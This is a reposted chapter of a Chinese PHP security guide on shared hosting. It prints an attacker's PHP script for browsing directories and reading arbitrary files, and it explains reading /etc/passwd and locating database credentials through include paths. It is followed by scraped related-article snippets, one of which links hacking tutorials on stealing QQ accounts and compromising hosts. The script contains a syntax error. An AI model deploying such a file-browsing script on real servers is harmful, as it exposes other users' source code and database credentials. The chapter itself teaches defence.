[导入]php 安全基础 第八章 共享主机 文件系统浏览

8.4. 文件系统浏览

  除了能在共享服务器上读取任意文件之外,攻击者还能建立一个可以浏览文件系统的脚本。由于你的大多数敏感文件不会保存在网站主目录下,此类脚本一般用于找到你的源文件的所在位置。请看下例:

 

  <pre>

 

  <?php

 

  if (isset($_GET['dir']))

  {

    ls($_GET['dir']);

  }

  elseif (isset($_GET['file']))

  {

    cat($_GET['file']);

  }

  else

  {

    ls('/');

  }

 

  function cat($file)

  {

    echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8'));

  }

 

  function ls($dir)

  {

    $handle = dir($dir);

 

    while ($filename = $handle->read())

    {

      $size = filesize("$dir$filename");

 

      if (is_dir("$dir$filename"))

      {

        $type = 'dir';

        $filename .= '/';

      }

      else

      {

        $type = 'file';

      }

 

      if (is_readable("$dir$filename"))

      {

        $line = str_pad($size, 15);

        $line .= "<a href=\"{$_SERVER['PHP_SELF']}";

        $line .= "?$type=$dir$filename\">$filename</a>";

      }

      else

      {

        $line = str_pad($size, 15);

        $line .= $filename;

      }

 

      echo "$line\n";

    }

 

    $handle->close();

  }

 

  ?>

 

  </pre>

 

  攻击者可能会首先察看/etc/passwd文件或/home目录以取得该服务器上的用户名清单;可以通过语言的结构如include或require来发现保存在网站主目录以外的源文件所在位置。例如,考虑一下下面的脚本文件/home/victim/public_html/admin.php:

 

  <?php

 

  include '../inc/db.inc';

 

  /* ... */

 

  ?>

 

  如果攻击者设法显示了该文件的源码,就可以发现db.inc的所在位置,同时他可以使用readfile()函数来使其内容暴露,取得了数据库的访问权限。这样,在这个环境中保存db.inc于网站主目录之外的做法并未起到保护作用。

  这一攻击说明了为什么要把共享服务器上的所有源文件看成是公开的,并要选择数据库实现所有敏感数据的保存。

1133985.html?type=1

[新闻]NHibernate 2.0.0.Beta1发布了
文章来源:http://www.cnblogs.com/czh-liyu/archive/2008/04/02/1133985.html

转载于:https://www.cnblogs.com/xfliu/archive/2008/07/01/1233388.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/305283.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python求函数极值_python 遗传算法求函数极值的实现代码

废话不多说&#xff0c;大家直接看代码吧&#xff01;"""遗传算法实现求函数极大值—Zjh"""import numpy as npimport randomimport matplotlib.pyplot as pltclass Ga():"""求出二进制编码的长度"""def __init__…

java读取文件跳过_在Java中读取文本文件-为什么跳过行?

我是新来的,只是努力尝试读取文本文件.每行上都有一个单词和相应的数字代码.想法是将其读取并将代码和单词放在单独的变量中.我对这个领域了解不多,但是我一直在网上四处寻找,并提出了以下建议&#xff1a;try{FileReader freadernew FileReader(f);BufferedReader inFilenew B…

程序员的项目周期(表情包版)

0. 需求审评会议进行中1. 开发阶段进行中….2. 代码复查阶段3. 测试阶段….4. 需求突然要改….5. 项目上线

巧用Dictionary实现日志数据批量插入

背景最近再做一个需求&#xff0c;就是对站点的一些事件进行埋点&#xff0c;说白了就是记录用户的访问行为。那么这些数据怎么保存呢&#xff0c;人家点一下保存一下&#xff1f;显然不合适&#xff0c;肯定是需要批量保存&#xff0c;提高效率。问题窥探首先&#xff0c;我想…

[导入]php 安全基础 附录B. 函数

附录B. 函数 在我写作本书的时候&#xff0c;http://php.net/quickref.php列出了共3917个函数&#xff0c;其中包括一些类似函数的语法结构&#xff0c;在此我不准备把它们从函数中区分开来&#xff0c;而是把它作为函数看待。 由于函数数量很大&#xff0c;一一说明它们的正确…

python os rename用法_Python os.rename() 方法

Python os.rename() 方法概述os.rename() 方法用于命名文件或目录&#xff0c;从 src 到 dst,如果dst是一个存在的目录, 将抛出OSError。语法rename()方法语法格式如下&#xff1a;os.rename(src, dst)参数src -- 要修改的目录名dst -- 修改后的目录名返回值该方法没有返回值实…

java匿名内部类runnable_java匿名内部类用法总结实例源码

java匿名内部类用法总结实例源码。当需要extends一个类&#xff0c;或implements一个接口的时候&#xff0c;可以直接new一个这个类或接口的对象出来&#xff0c;然后在后面加&#xff5b;&#xff5d;&#xff0c;里面写你准备写在子类里面的所有东西。这样&#xff0c;new出来…

6段Python代码刻画深度学习历史:从最小二乘法到深度神经网络

最小二乘法深度学习的一切都起源于这个数学片段&#xff08;我把它用Python 写了出来&#xff09;&#xff1a;这一方法是 1805 年巴黎数学家阿德利昂玛利埃勒让德首次提出的&#xff08;1805&#xff0c;Legendre&#xff09;&#xff0c;勒让德建立了许多重要的定理&#xff…

win7美化_Potplayer64位美化版,无棒子的tv推送

potplayer 64位是一款视频播放器&#xff0c;potplayer 64位目前正在新功能全力开发中&#xff0c;由于采用delphi编译程序kmplayer的一些弊端&#xff0c;姜龙喜先生为改进播放器本身的一些性能而重新用vc进行构架&#xff0c;有需要的伙伴们可以移步简易下载站获取&#xff0…

如何在 C# 8 中使用 Channels

在面对 生产者-消费者 的场景下&#xff0c; netcore 提供了一个新的命名空间 System.Threading.Channels 来帮助我们更高效的处理此类问题&#xff0c;有了这个 Channels 存在, 生产者 和 消费者 可以各自处理自己的任务而不相互干扰&#xff0c;有利于两方的并发处理&#x…

mockito mock void方法_使用 Junit + Mockito 实践单元测试!

一、前言相信做过开发的同学&#xff0c;都多多少少写过下面的代码&#xff0c;很长一段时间我一直以为这就是单元测试...SpringBootTestRunWith(SpringRunner.class)public class UnitTest1 {Autowiredprivate UnitService unitService;Testpublic void test() {System.out.pr…

Outlook 阅读窗格(Reading Pane)

打开 Outlook 点一下邮件&#xff0c;在右侧会有每封邮件的内容预览。突然有一天你发现它不在了知道该怎么调出来吗&#xff1f;我是刚学到的。英文: View--->Reading Pane--->Right&#xff08;右侧&#xff09; Bottom&#xff08;底部&#xff09; Off&#xf…

java web编写计算器_javaWeb 使用 jsp 和 javaBean 实现计算器功能

jsp 和 javaBean 实现计算器功能try {calculator.calculate();} catch (Exception e) {out.write(e.getMessage());}%>简单的计算器第一个参数运算符-*/第二个参数结果package de.bvb.domain;import java.math.BigDecimal;public class Calculator {private String firstNum…

人为什么会出轨?麻省理工学院告诉你:男女配对的真相

该实验出自麻省理工学院著名经济学家Dan Ariely的《The Upside of Irrationality》。结果很有趣&#xff0c;在我们的生活中也尤为常见。实验人员找来100位正值青春年华的大学生&#xff0c;男女各半。然后制作了100张卡片&#xff0c;卡片上写了从1到100总共一百个数字。单数的…

当 .NET 5 遇上OpenTelemetry,会碰撞出怎样的火花?

OpenTelemetry 介绍我在之前的几篇文章都介绍了 OpenTelemetry, 你可以在这里找到OpenTelemetry - 云原生下可观测性的新标准深入研究.NET 5的开放式遥测OpenTelemetry是谷歌和微软共同推进的云原生监控的新规范&#xff0c; 兼容OpenTracing和OpenCensusOpenTelemetry的终极目…

教程大派送

都是华夏的 喜欢的拿去远程控制任我行脱壳 - [Money] 链接地址 :[url]http://download.77169.com/donghua/Crcak/xgyc.zip[/url]让你QQ永远不被***盗走 - [antty] 链接地址: [url]http://download.77169.com/donghua/hackQQ/qqfd.zip[/url]BT下载之疯狂抓鸡 - [奶茶] 链接地址:…

kotlin中mainactivity无法直接调用xml中的控件_使用52North 客户端接口调用OGC WPS服务...

52North是一个来自研究机构、工业界和公共行政管理界的研究者组成的开放国际合作组织&#xff0c;他们通过协作研发流程促进地理信息学创新。具体来说他们开发新的地理信息概念和技术&#xff0c;例如用于管理时空测量数据&#xff0c;以及通过网络共享地理处理技术。他们评估新…

python 密码学 模块_python学习-itsdangerous模块-黑马程序员技术交流社区

博客链接地址&#xff1a;http://www.zhuyannan.top/itsdangerous-加密你的数据/如果你想向不可信的环境发送数据&#xff0c;但又担心数据被别人利用&#xff0c;就可以使用 itsdangerous来加密签名你的数据。接收者可以破译内容&#xff0c;来看看你的包裹里有什么&#xff0…

明天放假,我放价!一个国庆假期教你学会数学建模

原价298元&#xff0c;国庆放价&#xff01;248元即可报名学习&#xff01;数学建模涉及的内容比较广泛&#xff0c;比如碎纸片问题中所涉及的图像识别及神经网络、小区开放问题中所涉及的车流模拟仿真、还有“互联网”时代的出租车资源配置中所涉及的运筹调度。或许数学建模的…

微软开源可扩展存储引擎Extensible Storage Engine

喜欢就关注我们吧&#xff01;昨日&#xff0c;微软副总裁 Scott Van Vliet 在推特上表示&#xff0c;可扩展存储引擎 Extensible Storage Engine&#xff08;ESE&#xff09;现已开源。可扩展存储引擎 Extensible Storage Engine&#xff08;ESE&#xff0c;也称 JET Blue&…